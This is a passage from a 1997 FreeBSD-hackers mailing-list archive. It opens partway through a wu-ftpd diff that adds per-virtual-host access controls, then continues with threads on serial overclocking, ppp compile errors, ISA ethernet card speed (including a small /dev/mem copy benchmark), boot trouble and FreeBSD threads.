ap3 = NULL; *************** *** 1092,1104 **** { int pdelete = 1; struct aclmember *entry = NULL; while (getaclentry("delete", &entry) && ARG0 && ARG1 != NULL) { if (type_match(ARG1)) if (*ARG0 == 'n') pdelete = 0; } ! /* H* fix: no deletion, period. You put a file here, I get to look at it. */ #ifdef PARANOID pdelete = 0; --- 1226,1264 ---- { int pdelete = 1; struct aclmember *entry = NULL; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif while (getaclentry("delete", &entry) && ARG0 && ARG1 != NULL) { if (type_match(ARG1)) if (*ARG0 == 'n') pdelete = 0; } ! #ifdef VIRTUAL ! virtual_len = sizeof(virtual_addr); ! if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { ! virtual_ptr = (struct sockaddr_in *) &virtual_addr; ! entry = (struct aclmember *) NULL; ! while (getaclentry("virtual", &entry)) { ! if (!ARG0 || !ARG1 || !ARG2 || !ARG3) ! continue; ! if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { ! if(!strcmp(ARG1, "delete")) { ! if (type_match(ARG3)) { ! if (*ARG2 == 'n') ! pdelete = 0; ! else ! pdelete = 1; ! } ! } ! } ! } ! } ! #endif /* VIRTUAL */ ! /* H* fix: no deletion, period. You put a file here, I get to look at it. */ #ifdef PARANOID pdelete = 0; *************** *** 1127,1132 **** --- 1287,1297 ---- char cwd[MAXPATHLEN+1], realwd[MAXPATHLEN+1], realname[MAXPATHLEN+1]; int i; struct aclmember *entry = NULL; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif if (name == (char *)NULL || *name == '\0') return 0; *************** *** 1139,1144 **** --- 1304,1334 ---- realpath (cwd, realwd); realpath (name, realname); + + #ifdef VIRTUAL + /* virtual ip_addr noretrieve */ + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "noretrieve")) { + for (i = 2; i< MAXARGS && + (entry->arg[i] != (char *)NULL) && (*(entry->arg[i]) !='\0'); i++) + if (strcmp (((*(entry->arg[i]) == '/') ? realname : + lbasename (realname)), entry->arg[i]) == 0) + { + reply (550, "%s is marked unretrievable", entry->arg[i]); + return 1; + } + } + } + } + } + #endif /* VIRTUAL */ while (getaclentry("noretrieve", &entry)) { if (ARG0 == (char *)NULL) diff -c -r src.orig/ftpcmd.y src/ftpcmd.y *** src.orig/ftpcmd.y Sun Aug 10 19:44:44 1997 --- src/ftpcmd.y Sun Aug 10 18:55:31 1997 *************** *** 61,66 **** --- 61,73 ---- #else #include #endif + #ifdef VIRTUAL + #include + #include + #include + #include + #include + #endif #include #include #include *************** *** 480,485 **** --- 487,497 ---- mode_t oldmask; struct aclmember *entry = NULL; int ok = 1; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif /* VIRTUAL */ if (log_commands) syslog(LOG_INFO, "SITE UMASK %03o", $6); if ($4) { *************** *** 488,493 **** --- 500,522 ---- if (type_match(ARG1)) if (*ARG0 == 'n') ok = 0; } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "umask")) { + if (type_match(ARG3)) + if (*ARG2 == 'n') ok = 0; + } + } + } + } + #endif /* VIRTUAL */ if (ok) { if (($6 < 0) || ($6 > 0777)) { reply(501, "Bad UMASK value"); *************** *** 503,508 **** --- 532,542 ---- = { struct aclmember *entry = NULL; int ok = 1; + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif /* VIRTUAL */ if (log_commands) syslog(LOG_INFO, "SITE CHMOD %03o %s", $6, $8); if ($4 && $8) { *************** *** 511,516 **** --- 545,567 ---- if (type_match(ARG1)) if (*ARG0 == 'n') ok = 0; } + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "chmod")) { + if (type_match(ARG3)) + if (*ARG2 == 'n') ok = 0; + } + } + } + } + #endif /* VIRTUAL */ if (ok) { if (($6 < 0) || ($6 > 0777)) reply(501, diff -c -r src.orig/ftpd.c src/ftpd.c *** src.orig/ftpd.c Sun Aug 10 19:44:44 1997 --- src/ftpd.c Sun Aug 10 18:55:31 1997 *************** *** 1978,1983 **** --- 1978,1988 ---- char *gunique(); #endif time_t start_time = time(NULL); + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif struct aclmember *entry = NULL; *************** *** 2023,2029 **** open_flags |= O_EXCL; } } ! #ifdef PARANOID overwrite = 0; #endif --- 2028,2055 ---- open_flags |= O_EXCL; } } ! #ifdef VIRTUAL ! virtual_len = sizeof(virtual_addr); ! if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { ! virtual_ptr = (struct sockaddr_in *) &virtual_addr; ! entry = (struct aclmember *) NULL; ! while (getaclentry("virtual", &entry)) { ! if (!ARG0 || !ARG1 || !ARG2 || !ARG3) ! continue; ! if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { ! if(!strcmp(ARG1, "overwrite")) { ! if (type_match(ARG3)) { ! if (strcmp(ARG2, "yes") != 0) { ! overwrite = 0; ! open_flags |= O_EXCL; ! } ! } ! } ! } ! } ! } ! #endif /* VIRTUAL */ ! #ifdef PARANOID overwrite = 0; #endif *************** *** 3059,3064 **** --- 3085,3095 ---- { struct stat st; struct aclmember *entry = NULL; /* Added: fixes a bug. _H*/ + #ifdef VIRTUAL + int virtual_len; + struct sockaddr_in virtual_addr; + struct sockaddr_in *virtual_ptr; + #endif if (lstat(name, &st) < 0) { perror_reply(550, name); *************** *** 3068,3073 **** --- 3099,3126 ---- /* if rename permission denied and file exists... then deny the user * permission to rename the file. */ + #ifdef VIRTUAL + virtual_len = sizeof(virtual_addr); + if (getsockname(0, (struct sockaddr *) &virtual_addr, &virtual_len) == 0) { + virtual_ptr = (struct sockaddr_in *) &virtual_addr; + entry = (struct aclmember *) NULL; + while (getaclentry("virtual", &entry)) { + if (!ARG0 || !ARG1 || !ARG2 || !ARG3) + continue; + if (!strcmp(ARG0, inet_ntoa(virtual_ptr->sin_addr))) { + if(!strcmp(ARG1, "rename")) { + if (type_match(ARG3)) { + if (strcmp(ARG2, "yes")) { + reply(553, "%s: Permission denied. (rename)", name); + return ((char *) 0); + } + } + } + } + } + } + #endif /* VIRTUAL */ + while (getaclentry("rename", &entry) && ARG0 && ARG1 != NULL) { if (type_match(ARG1)) if (strcmp(ARG0, "yes")) { From owner-freebsd-hackers Sun Aug 10 20:00:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA04079 for hackers-outgoing; Sun, 10 Aug 1997 20:00:48 -0700 (PDT) Received: from academ.com (sob@ACADEM.COM [198.137.249.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA04074 for ; Sun, 10 Aug 1997 20:00:44 -0700 (PDT) Received: (from sob@localhost) by academ.com (8.8.5/8.8.5) id WAA18486; Sun, 10 Aug 1997 22:00:31 -0500 (CDT) Message-Id: <199708110300.WAA18486@academ.com> From: sob@academ.com (Stan Barber) Date: Sun, 10 Aug 1997 22:00:31 CDT X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: Ulf Zimmermann , wu-ftpd-bugs@academ.com Subject: Re: [ACADEM-SW-SUPPORT #425] Diffs for further virtual settings Cc: hackers@freebsd.org, bsdnet@Melmac.org, sw-support@owlman.academ.com Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I can't consider these for release 2.4.2, but we can consider them for release 2.5. -- Stan | Academ Consulting Services |internet: sob@academ.com Olan | For more info on academ, see this |uucp: {mcsun|amdahl}!academ!sob Barber | URL- http://www.academ.com/academ |Opinions expressed are only mine. From owner-freebsd-hackers Sun Aug 10 20:15:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA04815 for hackers-outgoing; Sun, 10 Aug 1997 20:15:09 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA04808 for ; Sun, 10 Aug 1997 20:15:04 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id XAA01742; Sun, 10 Aug 1997 23:15:41 -0400 (EDT) Message-Id: <199708110315.XAA01742@spoon.beta.com> To: julian@whistle.com cc: hackers@freebsd.org Subject: Re: Re: 230+K (was RE: ISDN driver/cards) Date: Sun, 10 Aug 1997 23:15:40 -0400 From: "Brian J. McGovern" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >I have a set of patches for sio.c that use a set of 'flags' bit in the >device flags to specify that the device in question is overclocked >by some multiplier.. The driver then uses different multipliers >so that 9600 still gives 9600 but that new values become >available >e.g. a flags 0f 0x--1----- >where (- == don't care) would tell the driver you are overclocking by >2 (the value of 0 is 1:1 and 15 is overclocking 1:16 ) >so sio.c knows to double the dividers when the above flag is used >so tha the speeds come out right.. > >I will try check it in in the next week or two. > >sio.c is getting too complicated I think...... Perhaps it'd make sense to implement it as an ioctl rather than a flag? That way, a setup-type application can make the ioctl to the initial or lock state device, and "smart" applications can do it to the descriptor that they have open, as well. That way, something like kermit could still use its slow baud rates, but a "control" program could alter say, 50 baud from being 50 baud to 230K, and then back again, without having to change the application. Then, the driver could default to the speed set that makes the most sense, and just about everything would work (getty, kermit, hylafax, etc) without having to be rewired. Or, perhaps it'd make sense to just fix everything to support these higher speeds natively (ie - let 230K be specified in gettytab, etc). Just my two cents worth. It would be nice to have a standard to follow, though. -Brian From owner-freebsd-hackers Sun Aug 10 20:40:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA06099 for hackers-outgoing; Sun, 10 Aug 1997 20:40:05 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA06020 for ; Sun, 10 Aug 1997 20:39:59 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id KAA09488 for ; Mon, 11 Aug 1997 10:40:35 +0700 (OSD) Date: Mon, 11 Aug 1997 10:40:35 +0700 (OSD) From: Eugeny Kuzakov To: freebsd-hackers@freebsd.org Subject: Kernel ppp-2.3.1 and compile under FBSD's Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi ! Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef __FreeBSD__). When I try to compile kernel with 2.3.[0,1] patches I see this errors. ~~~~~~~ loading kernel ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment *** Error code 1 Stop. ~~~~~~~ Function pppoutput declared in if_ppp.c. I don't known why I have problems... Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru p.s. Sorry for my english...:( From owner-freebsd-hackers Sun Aug 10 21:04:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA07503 for hackers-outgoing; Sun, 10 Aug 1997 21:04:40 -0700 (PDT) Received: from databus.databus.com (databus.databus.com [198.186.154.34]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA07487; Sun, 10 Aug 1997 21:04:29 -0700 (PDT) From: Barney Wolff To: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Date: Sun, 10 Aug 1997 23:52 EDT Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 Content-Type: text/plain Message-ID: <33ee8f490.55c9@databus.databus.com> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As a data point, I just copied 5MB from a P6/200 running fbsd 2.1.5 & a Pro 100B (at 10 MHz) to a 486/66 running Unixware 2.0.3 with a WD8013. Via NFS, 651 KB/sec. I have in fact seen slow transfers to a 486 with WD8013 from an SGI workstation. I wonder if it has more to do with the ethernet than with the 8013. But on the same lan, another 486 with a 3com 3c509 was able to keep up. It may have something to do with how collisions get handled, as I vaguely recall (was a couple of years ago) that running multiple transfers simultaneously caused trouble with the 8013 but not with the 3c509. WARNING: In all the tests I've run, the 486 was running Unixware, not fbsd. > Date: Sun, 10 Aug 1997 19:32:27 -0700 > From: Mike Haertel > > I have two boxes, one based on the ASUS SP3G with a 486 DX4/100 > processor, and another based on the ASUS P6NP5 with a 150 MHz PPro. > The 486 box has a 16-bit WD8013 based ethernet board, and the PPro > has an EtherExpress Pro/100. > > I attempted to do an NFS install of FreeBSD 2.2.2 on the 486 box > using the PPro box as the server. At appeared to detect the > ethernet board Ok, but it got hung when actually trying to copy > files. After a considerable pain I concluded that it was dropping > the trailing packets (fragments), and the @#%@! UDP and/or > NFS protocol on the server was responding by attempting to > retransmit the entire packet again, and thus causing the trailing > packets to be lost again. It seems that the PPro pumps the bits > out on the wire so fast that the 486 had no time to catch its breath. > Setting the maximum NFS read size to 2K or smaller allowed it > to work. But slowly. > > The same wd8013 ethernet card worked fine for a network install > to a Pentium/90 based Intel Xpress box. I really have trouble > believing the 486/100 is so much slower than the Pentium/90 > it can't keep up. > > So: Is there anything special I should know about wd8013 cards > and ASUS SP3G's and/or 486/100's? Or am I just plain out of luck? > In the latter case could anybody recommend a faster ISA ethernet > card that's widely supported by the free OS's? > > Thanks, > > Mike > From owner-freebsd-hackers Sun Aug 10 21:11:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA07951 for hackers-outgoing; Sun, 10 Aug 1997 21:11:13 -0700 (PDT) Received: from green.mail.postal.net (ejohnst@ejohnst.sccsi.com [207.90.224.71]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA07940 for ; Sun, 10 Aug 1997 21:11:08 -0700 (PDT) Received: from localhost (ejohnst@localhost) by green.mail.postal.net (8.8.5/8.8.5) with SMTP id XAA08089 for ; Sun, 10 Aug 1997 23:11:08 -0500 Date: Sun, 10 Aug 1997 23:11:07 -0500 (CDT) From: "Eric M. Johnston" To: freebsd-hackers@freebsd.org Subject: Problems Booting HD Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings, I'm having some trouble booting a newly installed FreeBSD partition. At the boot manager prompt ("Default: ...") I've got the options of F1, dos, and F2, BSD. My obligatory DOS partion boots fine, yet the BSD one refuses to boot: pressing F2 just causes it to repeat the choices and "Default: F?" prompt. Now, I searched the mailing list archvies, and found many messages with a similar question, but no real answers (or, at least, no answers that apply and work in my case). So, the details: Did Novice Install from FreeBSD 2.2.2 CD-ROM onto an IDE HD IDE HD is ~540MB, set as the primary (and only) IDE HD HD cylinders: 1046, heads: 16, sectors: 63 - I've double checked this with the installation program - it appears to get it right I also have an Adaptec 2940U installed (CD drive is SCSI), but same problem when I remove it Intel Pentium Pro MB (AMI BIOS?) Boots fine from floppy using "wd(o,a)/kernel" Installation CD-ROM boots very nicely on its own (surprised me the first time) DOS partion (first 25MB of HD) boots fine I did a "fdisk /mbr" from DOS and reinstalled FreeBSD and the boot manager as suggested in the mailing list archives - hasn't helped Thanks for your help - I'm ready to get this computer going! Eric From owner-freebsd-hackers Sun Aug 10 21:31:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA09111 for hackers-outgoing; Sun, 10 Aug 1997 21:31:03 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA09092; Sun, 10 Aug 1997 21:30:58 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA08541; Sun, 10 Aug 1997 21:33:16 -0700 (PDT) Message-Id: <199708110433.VAA08541@implode.root.com> To: Mike Haertel cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-reply-to: Your message of "Sun, 10 Aug 1997 19:32:27 PDT." <199708110232.TAA03202@ducky.net> From: David Greenman Reply-To: dg@root.com Date: Sun, 10 Aug 1997 21:33:16 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >So: Is there anything special I should know about wd8013 cards >and ASUS SP3G's and/or 486/100's? Or am I just plain out of luck? >In the latter case could anybody recommend a faster ISA ethernet >card that's widely supported by the free OS's? It sounds like there is a problem that is special to the Asus SP3G. The obvious thing to check for is the ISA bus speed being correct. As for the wd8013, with its shared memory design, it is the fastest ISA ethernet card that FreeBSD supports. The raw access speed to the shared memory should be about 4MB/second - plenty fast enough to keep up with 10Mbps ethernet. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sun Aug 10 21:49:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA10738 for hackers-outgoing; Sun, 10 Aug 1997 21:49:45 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA10733 for ; Sun, 10 Aug 1997 21:49:42 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id VAA12027; Sun, 10 Aug 1997 21:49:38 -0700 (PDT) Message-Id: <199708110449.VAA12027@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Paul Southworth cc: freebsd-hackers@FreeBSD.ORG Subject: Re: MySQL using FreeBSD native threads (3.0) In-reply-to: Your message of "Sun, 10 Aug 1997 09:26:45 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 10 Aug 1997 21:49:38 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, I will review the thread library with respect to all the patches that I have which are mostly what John mail me and will post patches later on this week. Do threads in FreeBSD work? Yeap , however we need to upgrade it. Here are tests runs from the ACE library which was compiled with pthread support and the tests do use threads. {root} ./run_tests.sh Starting tests... running TSS_Test running Time_Value_Test running SString_Test running Naming_Test running Handle_Set_Test running Mem_Map_Test running SV_Shared_Memory_Test running MM_Shared_Memory_Test running Mutex_Test running Timer_Queue_Test running Task_Test running Thread_Manager_Test running Thread_Pool_Test running Future_Test running Reactors_Test running Reactor_Exceptions_Test C++ exceptions not supported on this platform running Reactor_Notify_Test running Reactor_Timer_Test running Reader_Writer_Test running SOCK_Test running Conn_Test running SPIPE_Test SPIPE is not supported on this platform running UPIPE_SAP_Test threads and/or UPIPE not supported on this platform running Barrier_Test running Buffer_Stream_Test ACE_ASSERT: file Buffer_Stream_Test.cpp, line 185 assertion failed for 'result == -1 && errno == EWOULDBLOCK'. [: -/: expected integer Error in log file no line with Ending ACE_ASSERT: file Buffer_Stream_Test.cpp, line 185 assertion failed for 'result == -1 && errno == EWOULDBLOCK'. running Priority_Buffer_Test running Recursive_Mutex_Test running Time_Service_Test [: -/: expected integer Error in log file no line with Ending running Tokens_Test [: -/: expected integer Error in log file no line with Ending running Map_Manager_Test running Message_Queue_Test running Message_Block_Test running Pipe_Test running Process_Mutex_Test running Process_Strategy_Test running Service_Config_Test running Priority_Task_Test running IOStream_Test Tests complete... The couple of EWOULDBLOCK errors have been fixed in the old patched libc_r . Enjoy, Amancio >From The Desk Of Paul Southworth : > On Wed, 6 Aug 1997, Amancio Hasty wrote: > > :Care to just post the questions? > > These were sent to jb@cimlogic.com.au but that address bounces now (a > couple weeks ago it worked, but the mailhost there has been unreachable > for a week or so). > > If you have any answers to these, please copy me since I do not subscribe > to the hackers list currently. > > The questions below refer to porting MySQL to use FreeBSD native threads; > the work is being done using the 3.0-970618-SNAP release. > > 1) There isn't a sched.h file. pthread.h have prototypes for some functions > that uses sched_param but it's a little problem to use them now :) > > 2) I looked into /usr/src/lib/libc_r/uthread/pthread_priv.h and found > the following: > > ---- > struct sched_param { > int prio; /* Should be named sched_priority */ > void *no_data; > }; > > enum schedparam_policy { > SCHED_RR, > SCHED_IO, > SCHED_FIFO, > SCHED_OTHER > }; > ---- > > Shouldn't this be in a sched.h file ? > It would also be nice if 'prio' would be renamed 'sched_priority'. I > think this is the standard slot name (at least all other pthread > implementation uses this) > > 3) The following functions are not defined: > pthread_setprio(), pthread_attr_setprio(),pthread_attr_setscope() > > When do you think these will be available? > > 4) I have now fixed workarounds for the above cases. All code compiles > and links clean but when run a test program, pthread_create doesn't > start a thread. Should threads work at all in FreeBSD 3.0 ? > From owner-freebsd-hackers Sun Aug 10 22:12:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA12094 for hackers-outgoing; Sun, 10 Aug 1997 22:12:50 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA12082; Sun, 10 Aug 1997 22:12:47 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxml5-0001jP-00; Sun, 10 Aug 1997 22:11:11 -0700 Date: Sun, 10 Aug 1997 22:11:10 -0700 (PDT) From: Tom Samplonius To: David Greenman cc: Mike Haertel , freebsd-hackers@freebsd.org, freebsd-hardware@freebsd.org Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-Reply-To: <199708110433.VAA08541@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, David Greenman wrote: > >So: Is there anything special I should know about wd8013 cards > >and ASUS SP3G's and/or 486/100's? Or am I just plain out of luck? > >In the latter case could anybody recommend a faster ISA ethernet > >card that's widely supported by the free OS's? > > It sounds like there is a problem that is special to the Asus SP3G. The > obvious thing to check for is the ISA bus speed being correct. As for the > wd8013, with its shared memory design, it is the fastest ISA ethernet card > that FreeBSD supports. The raw access speed to the shared memory should > be about 4MB/second - plenty fast enough to keep up with 10Mbps ethernet. I dunno... I have access to ASUS 3P3G running 2.1-stable that happening to running an anon FTP server and an SMC 8216. I can retrieve files at 930KB/s, and upload files at 898KB/s over shared ethernet with other light traffic. The ASUS SP3G is the fastest 486 motherboard I've seen. > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > > Tom From owner-freebsd-hackers Sun Aug 10 22:34:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13028 for hackers-outgoing; Sun, 10 Aug 1997 22:34:47 -0700 (PDT) Received: from ducky.net (gate.ducky.net [198.145.101.253]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA12992; Sun, 10 Aug 1997 22:34:38 -0700 (PDT) Received: from localhost.ducky.net (localhost.ducky.net [127.0.0.1]) by ducky.net (8.6.12/8.6.12) with SMTP id WAA03574; Sun, 10 Aug 1997 22:34:09 -0700 Message-Id: <199708110534.WAA03574@ducky.net> X-Authentication-Warning: ducky.net: Host localhost.ducky.net didn't use HELO protocol To: dg@root.com cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG, mike@ducky.net Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-reply-to: Your message of "Sun, 10 Aug 1997 21:33:16 PDT." <199708110433.VAA08541@implode.root.com> Date: Sun, 10 Aug 1997 22:34:09 -0700 From: Mike Haertel Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > It sounds like there is a problem that is special to the Asus SP3G. The >obvious thing to check for is the ISA bus speed being correct. As for the >wd8013, with its shared memory design, it is the fastest ISA ethernet card >that FreeBSD supports. The raw access speed to the shared memory should >be about 4MB/second - plenty fast enough to keep up with 10Mbps ethernet. Hmm... this inspired me to write a small benchmark. This program maps the ethernet board's shared memory (assumed to be at 0xd8000) to user space, and then copies 16 megabytes out of it 32 bits at a time. On the 486 box, it takes about 15.5 seconds. On the Pentium box (which worked for the NFS install) it takes about 14.5 seconds. Either of these is just slightly faster than 1 MB/sec and nowhere near the claimed 4 MB/sec. Perhaps my board is pessimal and the Pentium box, being just a hair faster, is fast enough to keep up? Since both the 486 and the Pentium exhibit (nearly) the same performance, and I am 100% positive that the Pentium is running the ISA bus at the right frequency, I'm fairly sure there is no problem with the ISA bus speed in the 486. (I checked the motherboard docs and it does not appear to be configurable anyway.) --cut here-- /* * usage: time ./a.out */ #include #include asm(" _docopy: pushl %ebx movl 8(%esp), %ecx movl 12(%esp), %edx movl $1024, %eax loopy: movl 0(%edx), %ebx movl %ebx, 0(%ecx) movl 4(%edx), %ebx movl %ebx, 4(%ecx) movl 8(%edx), %ebx movl %ebx, 8(%ecx) movl 12(%edx), %ebx movl %ebx, 12(%ecx) addl $16, %ecx addl $16, %edx decl %eax jne loopy popl %ebx ret "); extern void docopy(short *dst, short *src); main() { int fd, i, j; short *p, d[8192]; fd = open("/dev/mem", O_RDONLY); if (fd < 0) { printf("barf\n"); exit(33); } p = (short *) mmap(0, 16384, PROT_READ, MAP_SHARED, fd, 0xd8000); /* * Benchmark: copying 16 megabytes of memory from p a word * at a time. */ printf("p = %p\n", (void *) p); for (i = 0; i < 1024; ++i) docopy(d, p); exit(0); } From owner-freebsd-hackers Sun Aug 10 22:46:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13544 for hackers-outgoing; Sun, 10 Aug 1997 22:46:09 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA13523; Sun, 10 Aug 1997 22:46:00 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id WAA09160; Sun, 10 Aug 1997 22:48:23 -0700 (PDT) Message-Id: <199708110548.WAA09160@implode.root.com> To: Mike Haertel cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-reply-to: Your message of "Sun, 10 Aug 1997 22:34:09 PDT." <199708110534.WAA03574@ducky.net> From: David Greenman Reply-To: dg@root.com Date: Sun, 10 Aug 1997 22:48:23 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>that FreeBSD supports. The raw access speed to the shared memory should >>be about 4MB/second - plenty fast enough to keep up with 10Mbps ethernet. > >Hmm... this inspired me to write a small benchmark. ... >On the 486 box, it takes about 15.5 seconds. On the Pentium box >(which worked for the NFS install) it takes about 14.5 seconds. > >Either of these is just slightly faster than 1 MB/sec and nowhere >near the claimed 4 MB/sec. Perhaps my board is pessimal and the >Pentium box, being just a hair faster, is fast enough to keep up? My 4MB/second number comes from doing a similar test in the device driver using bcopy at system startup. I don't know why your results are so slow, but I do recall seeing unusually low performance numbers from a P6 system that I once tested - I seem to recall they were about half speed or so, but I didn't investigate further. Just for kicks, you might try doing 16 bit copies rather than 32bit copies and see if your results are affected. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sun Aug 10 22:51:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13852 for hackers-outgoing; Sun, 10 Aug 1997 22:51:32 -0700 (PDT) Received: from ducky.net (gate.ducky.net [198.145.101.253]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA13832; Sun, 10 Aug 1997 22:51:27 -0700 (PDT) Received: from localhost.ducky.net (localhost.ducky.net [127.0.0.1]) by ducky.net (8.6.12/8.6.12) with SMTP id WAA03617; Sun, 10 Aug 1997 22:51:13 -0700 Message-Id: <199708110551.WAA03617@ducky.net> X-Authentication-Warning: ducky.net: Host localhost.ducky.net didn't use HELO protocol To: dg@root.com cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 Date: Sun, 10 Aug 1997 22:51:13 -0700 From: Mike Haertel 